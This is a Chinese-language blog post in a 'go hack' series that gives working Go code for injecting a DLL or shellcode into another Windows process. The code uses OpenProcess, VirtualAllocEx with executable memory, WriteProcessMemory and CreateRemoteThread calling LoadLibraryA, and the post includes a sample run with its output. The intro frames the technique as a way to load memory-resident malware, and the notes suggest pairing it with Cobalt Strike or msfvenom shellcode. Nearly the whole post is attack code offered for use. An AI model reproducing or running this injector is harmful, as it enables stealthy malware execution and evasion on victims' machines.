go hack(十七)go实现win进程注入shellcode

go网络安全代码地址
使用syscall可以加载驻留内存的恶意软件或者钩子函数

c++和go类型

c++ go
boolean byte
bool int32
byte byte
dword uint32
dword32 uint32
dword64 uint46
word uint16
handle uintptr
lpvoid uintptr
size_t uintptr
lpcvoid uintptr
hmodule uintptr
lpcstr uintptr
lpdword uintptr

进程注入的流程

  1. 使用openProcess()建立进程句柄和进程访问权限
  2. VirtualAllocEx() 分配虚拟内存,
  3. WriteProcessMemory()将shellcode或者dll加载到进程内存中
  4. 使用CreateRemoteThread()调用本地导出的dll函数,使得第三步写入内存的字节码执行

扩展

  1. 可以使用Process Hacker Process Monitor工具查看进程状态
  2. 可以不通过dllpath加载dll 使用cs或者msfvenom生成shellcode
  3. 可以将frida加载进去,执行js

使用

go run .\main.go .\helper.go .\inject.go .\tokens.go -pid=10676 -dll="C:\Windows\System32.dll"

pid为10676dll 为C:\Windows\System32.dllprocess handle0x158
申请内存 0x1ae387b0000
kernal dll 的地址为0x7ffd66100000load memory 0x7ffd6611ebb0
Thread 创建0xc0000a60c8
thread create 0x160

package main

import (
    "fmt"
    "syscall"
    "unsafe"

    "github.com/pkg/errors"
)

var nullRef int

// 获取进程句柄
func OpenProcessHandle(i *Inject) error {
    // 定义进程访问权限
    var right uint32 = PROCESS_CREATE_THREAD |
        PROCESS_QUERY_INFORMATION | // 查询进程信息
        PROCESS_VM_OPERATION |
        PROCESS_VM_READ |
        PROCESS_VM_WRITE

    var inheritHanle uint = 0 // 新进程句柄是否继承现有句柄
    var processId uint32 = i.Pid

    // 获取进程句柄
    remoteProcHandle, _, lastErr := ProcOpenProcess.Call( // 进行系统调用
        uintptr(right),        //DWORD dwDesiredAccess
        uintptr(inheritHanle), // Bool bInheritHandle
        uintptr(processId),    //DWORD dwProcessId
    )
    if remoteProcHandle == 0 {
        return errors.Wrap(lastErr, "不能获取句柄")
    }

    i.RemoteProcHandle = remoteProcHandle // 记录到结构体
    fmt.Printf("pid为%v", i.Pid)
    fmt.Printf("dll 为%v", i.DllPath)
    fmt.Printf("process handle%v \n", unsafe.Pointer(i.RemoteProcHandle))
    return nil
}

// 内存申请
func VirtualAllocEx(i *Inject) error {
    var flAllocationType uint32 = MEM_COMMIT | MEM_RESERVE
    var flProtect uint32 = PAGE_EXECUTE_READWRITE

    lpBaseAddress, _, lastErr := ProcVirtualAllocEx.Call(
        i.RemoteProcHandle, // HANDLE hProcess
        uintptr(nullRef),   // LPVOID ipadress
        uintptr(i.DLLSize), // size_t
        uintptr(flAllocationType),
        uintptr(flProtect), //dword flprotect
    )

    if lpBaseAddress == 0 {
        return errors.Wrap(lastErr, "申请内存失败")
    }

    i.Lpaddr = lpBaseAddress
    fmt.Printf("申请内存 %v\n", unsafe.Pointer(i.Lpaddr))
    return nil
}

func WriteProcessMemory(i *Inject) error {
    var nBytesWritten *byte
    dllPathBytes, err := syscall.BytePtrFromString(i.DllPath) // 接收一个dll地址,返回生成的字节切片的地址

    if err != nil {
        return err
    }

    writeMem, _, lastErr := ProcWriteProcessMemory.Call(
        i.RemoteProcHandle,                     // HANDLE hprocess
        i.Lpaddr,                               // LPVOID lpbaseAddress
        uintptr(unsafe.Pointer(dllPathBytes)),  // LPCVOID
        uintptr(i.DLLSize),                     // size_t
        uintptr(unsafe.Pointer(nBytesWritten)), //size_t *lpNumberOfBytesWriten
    )

    if writeMem == 0 {
        return errors.Wrap(lastErr, "shellcode 写入内存失败")
    }

    return nil
}

// loadlibrarya 会将指定的模块加载到进程调用的内存空间中,所以需要得到library的内存位置
func GetLoadLibAddress(i *Inject) error {
    var llibBytesPtr *byte
    llibBytesPtr, err := syscall.BytePtrFromString("LoadLibraryA") // 返回这个字符串在内存中的位置

    if err != nil {
        return err
    }

    lladdr, _, lastErr := ProcGetProcAddress.Call(
        ModKernel32.Handle(),
        uintptr(unsafe.Pointer(llibBytesPtr)), // LPCSTR lpProcname
    )

    if &lladdr == nil {
        return errors.Wrap(lastErr, "没有找到地址")
    }
    i.LoadLibAddr = lladdr
    fmt.Printf("kernal dll 的地址为%v", unsafe.Pointer(ModKernel32.Handle()))

    fmt.Printf("load memory %v\n", unsafe.Pointer(i.LoadLibAddr))

    return nil
}

// 针对远程进程的虚拟内存区域创建一个线程
func CreateRemoteThread(i *Inject) error {
    var threadId uint32 = 0
    var dwCreateionFlags uint32 = 0

    remoteThread, _, lastErr := ProcCreateRemoteThread.Call(
        i.RemoteProcHandle,
        uintptr(nullRef),
        uintptr(nullRef),
        i.LoadLibAddr,
        i.Lpaddr, // 虚拟内存位置
        uintptr(dwCreateionFlags),
        uintptr(unsafe.Pointer(&threadId)),
    )

    if remoteThread == 0 {
        return errors.Wrap(lastErr, "创建线程失败")
    }

    i.RThread = remoteThread
    fmt.Printf("Thread 创建%v\n", unsafe.Pointer(&threadId))
    fmt.Printf("thread create %v\n", unsafe.Pointer(i.RThread))

    return nil
}

// 识别特定对象合适处于发信号的状态
func WaitForSingleObject(i *Inject) error {
    var dwMilliseconds uint32 = INFINITE
    var dwExitCode uint32
    rWaitValue, _, lastErr := ProcWaitForSingleObject.Call(
        i.RThread,
        uintptr(dwMilliseconds),
    )

    if rWaitValue != 0 {
        return errors.Wrap(lastErr, "线程状态错误")
    }

    success, _, lastErr := ProcGetExitCodeThread.Call(
        i.RThread,
        uintptr(unsafe.Pointer(&dwExitCode)),
    )

    if success == 0 {
        return errors.Wrap(lastErr, "退出码不对")
    }

    closed, _, lastErr := ProcCloseHandle.Call(i.RThread)

    if closed == 0 {
        return errors.Wrap(lastErr, "关闭错误")
    }

    return nil
}

func VirtualFreeEx(i *Inject) error {
    var dwFreeType uint32 = MEM_RELEASE
    var size uint32 = 0 //Size must be 0 if MEM_RELEASE all of the region
    rFreeValue, _, lastErr := ProcVirtualFreeEx.Call(
        i.RemoteProcHandle,
        i.Lpaddr,
        uintptr(size),
        uintptr(dwFreeType))
    if rFreeValue == 0 {
        return errors.Wrap(lastErr, "释放内存出错")
    }
    fmt.Println("释放内存成功")
    return nil
}

你可能感兴趣的:(go hack(十七)go实现win进程注入shellcode)